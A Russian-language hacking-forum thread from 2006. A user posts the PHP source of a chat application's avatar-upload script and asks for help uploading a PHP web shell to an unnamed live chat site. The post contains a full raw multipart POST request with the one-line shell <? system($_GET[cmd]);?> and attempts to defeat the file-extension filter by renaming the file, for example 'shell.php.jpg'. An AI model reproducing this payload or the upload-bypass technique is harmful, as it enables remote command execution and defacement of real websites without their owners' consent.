Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Чаты (https://forum.antichat.xyz/forumdisplay.php?f=10)
-   -   или post запрос кривой или проверка имени файла стоит (https://forum.antichat.xyz/showthread.php?t=29592)

morfey 21.12.2006 23:22

или post запрос кривой или проверка имени файла стоит
 
Народ помогайте... уйму времени потратил а пробиться немогу.

ковырял чат один, нашел вроде как баг...
скрипт обновляет аватарку.
видимых проверок на имя и содержимое файла я незаметил но тем не менее...

вот код:
Цитата:

<?php
//---
header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");
header("Cache-Control: no-store, no-cache, must-revalidate");
header("Cache-Control: post-check=0, pre-check=0", false);
header("Pragma: no-cache");

// Report all errors except E_NOTICE
error_reporting(E_ALL ^ E_NOTICE);

require_once('inc/smartyinit.php');

$upldir = './images/cust_img/';
//---
//delete_old_files($upldir);//delete old files
//---
$req = array_merge($_GET, $_POST);

//---
//---
if(!$req['connid'] || !$req['userid']) die;
//---

//setup language
$lang = $GLOBALS['fc_config']['languages'][$req['lang']];
if(!isset($lang['dialog']['loadavatarbg'])) $lang = $GLOBALS['fc_config']['languages']['en'];
//---

//-------------------------------------------------
//get file
//-------------------------------------------------
$errmsg = '';
if( isset($_POST['submit']) && !empty( $_FILES['file']['tmp_name'] ))//file is Uploaded
{
$f = $_FILES['file'];
$pathinfo = pathinfo( $f['name'] );

$alow_ext = trim(strtolower( $GLOBALS['fc_config']['avatarbgloading']['allowFileExt']));
$ext = explode(',', $alow_ext );

if( $f['error'] != 0){ $errmsg = $lang['dialog']['common']['upl_error']; }
elseif( $alow_ext != '' && !in_array(strtolower( $pathinfo['extension'] ), $ext) )
{ //error not allowed extension
$errmsg = $lang['dialog']['common']['ext_not_allowed'];
$errmsg = str_replace('FILE_EXT', strtoupper($pathinfo['extension']), $errmsg );
$errmsg = str_replace('ALLOWED_EXT', strtoupper($alow_ext), $errmsg );
}
elseif( $f['size'] > $GLOBALS['fc_config']['avatarbgloading']['maxFileSize'] )
{ //file too big
$errmsg = $lang['dialog']['common']['size_too_big'];
}


if($errmsg != '')
{
//echo "<script>alert('$errmsg');</script>";
}
else
{
$fname = $upldir . $f['name'];

//if( file_exists($fname) )
$fname = $upldir . basename($pathinfo['basename'], ".{$pathinfo['extension']}") .'_'. time(). rand() . '.' . $pathinfo['extension'];

//move file do upl dir
if(move_uploaded_file($f['tmp_name'], $fname) === false)
{
$errmsg = $lang['dialog']['common']['upl_error'];
}
else
{
if(is_script($fname))
{
$message = new Message('error', $req['userid'], $req['roomid'], '');
$message->touserid = $req['userid'];
$message->txt = 'securityrisk';
}
else
{
$message = new Message('load_av_bg', $req['userid'], null, '');

//set target
$message->touserid = $req['userid'];
$message->txt = "$fname!#@#!{$_POST['RB_CHOICE']}";
}

//---- chat part
$messageQueue = new MessageQueue();
//---send message
$messageQueue->addMessage($message);
//---
echo '<script>window.close();</script>';
exit();
}
}

}

//-------------------------------------------------
//delete old files
//-------------------------------------------------
function delete_old_files($dir)
{
$d = dir($dir);

while (false !== ($entry = $d->read()))
{
$fname = $dir.$entry;
if ($entry == "." || $entry == ".." || !is_file($fname) ) continue;

$fdif = (time() - filemtime($fname))/(60*60);
if($GLOBALS['fc_config']['avatarbgloading']['maxFileHoursLife'] < $fdif)
{
unlink($fname);
}
}
$d->close();
}

//---------------------------------------------
//---calculate max file size
//---------------------------------------------
$post_max_size = ini_get('post_max_size') * 1024 * 1024;
$upload_max_filesize = ini_get('upload_max_filesize') * 1024 * 1024;
$defined_max_size = $GLOBALS['fc_config']['avatarbgloading']['maxFileSize'];

$maxSize = min( $post_max_size, $upload_max_filesize, $defined_max_size ) ;

function convertSize( $size )
{
if( $size < 1024) return $size.' Bytes';
if( $size > 1024*1024) return round($size/(1024*1024),2).' MB';

return round($size/1024, 2).' KB';
}

$data = array();

$data['version'] = $GLOBALS['fc_config']['version'];
$data['win_title'] = $lang['dialog']['loadavatarbg']['win_title'];
$data['bodyText'] = htmlColor($GLOBALS['fc_config']['themes'][$GLOBALS['fc_config']['defaultTheme']]['bodyText']);
$data['publicLogBackground'] = htmlColor($GLOBALS['fc_config']['themes'][$GLOBALS['fc_config']['defaultTheme']]['publicLogBackground']);
$data['not_errmsg'] = ($errmsg != '');
$data['errmsg'] = $errmsg;
$data['win_choose'] = str_replace('MAX_SIZE', convertSize($maxSize) , $lang['dialog']['common']['win_choose']);
$data['maxSize'] = $maxSize;
$data['file_info'] = $lang['dialog']['loadavatarbg']['file_info'];
$data['use_label'] = $lang['dialog']['loadavatarbg']['use_label'];
$data['rb_mainchat_avatar'] = $lang['dialog']['loadavatarbg']['rb_mainchat_avatar'];
$data['rb_roomlist_avatar'] = $lang['dialog']['loadavatarbg']['rb_roomlist_avatar'];
$data['rb_mc_rl_avatar'] = $lang['dialog']['loadavatarbg']['rb_mc_rl_avatar'];
$data['rb_this_theme'] = $lang['dialog']['loadavatarbg']['rb_this_theme'];
$data['rb_all_themes'] = $lang['dialog']['loadavatarbg']['rb_all_themes'];
$data['win_upl_btn'] = $lang['dialog']['common']['win_upl_btn'];

$data['pls_select_file'] = $lang['dialog']['common']['pls_select_file'];
$data['allowFileExt'] = trim(strtoupper( $GLOBALS['fc_config']['avatarbgloading']['allowFileExt']));
$ext = explode(',', trim($GLOBALS['fc_config']['avatarbgloading']['allowFileExt']) );
$ext = strtoupper( implode(', ', $ext ) );
$data['ext_not_allowed'] = str_replace('ALLOWED_EXT', $ext, $lang['dialog']['common']['ext_not_allowed']);

$smarty->assign('data', $data);
$smarty->display('load_avatar_bg.tpl');

?>


я думаю многие поняли что это за чат(говорить напрямую небуду в опасении масс дефейсов)

посылаю скрипту пост запрос
Цитата:

POST /load_avatar_bg.php?userid=1&lang=ru&connid=50d73e6 acf8c2f5e3ee88fc432622813 HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Referer: http://chat/load_avatar_bg.php?userid=1&lang=ru&connid=50d73e6 acf8c2f5e3ee88fc432622813
Accept-Language: ru
Content-Type: multipart/form-data; boundary=---------------------------7d62e2f210518
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: chat
Content-Length: 182295
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: PHPSESSID=2f0f42f0360af5e90cac9ebd8d03ef3b
-----------------------------7d62e2f210518
Content-Disposition: form-data; name="MAX_FILE_SIZE1"

524288
-----------------------------7d62e2f210518
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: php

<? system($_GET[cmd]);?>
-----------------------------7d62e2f210518
Content-Disposition: form-data; name="RB_CHOICE"

3
-----------------------------7d62e2f210518
Content-Disposition: form-data; name="submit"

-----------------------------7d62e2f210518--
запрос вроде как проходит но возвращает хтмл код страницы загрузки аватарки... файла в дире нету.
Хрен знает.. ставлю filename="shell.php.jpg" и <? system($_GET[cmd]);?> меняю на 123
запрос проходит и файлик создается.
как только меняю название файла на php или пытаюсь обойти проверку тутже ставиться фильтр.

мистика какаято.. я как только нашел этот прикол тутже проверил и скрипт как миленький создал шелл , даж не поперхнулся.
Трабла в том что так получилось всего 1-н раз и я (дуррак) не сохранил тот запрос.


Время: 21:05